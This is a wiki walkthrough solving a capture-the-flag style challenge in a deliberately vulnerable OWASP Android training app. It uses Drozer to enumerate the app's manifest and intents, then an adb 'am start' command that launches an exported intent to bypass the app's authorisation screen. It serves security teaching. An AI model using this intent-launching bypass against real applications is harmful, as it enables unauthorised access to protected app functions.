-
Notifications
You must be signed in to change notification settings - Fork 26
Authorised Area Solution
Tim Guenther edited this page Jul 24, 2017
·
1 revision
- Follow the challenge set up guide.
- Execute the following commands in the Drozer cli:
-
run app.package.list
This will generate a list of all packages installed on the device/emulator. -
run app.package.info -a ruhrpott.owasp.com.vuln_app_1
This will display general information about the application. -
run app.package.manifest ruhrpott.owasp.com.vuln_app_1
Displays information about the manifest and available intents.
-
- With the information gathered with drozer will will open a shell on the Andorid device/emulator:
adb shell
- At last we will call the intent manually to bypass the authorisation:
am start -a "ruhrpott.owasp.com.vuln_app_1.loggeddin" -t "text/plain"
-a
: The intent to call.
-t
: The type for the intent. - On the Android VM the app will open a message with "You did it! Well done."
Please open an issue in the case you found a mistake in the wiki.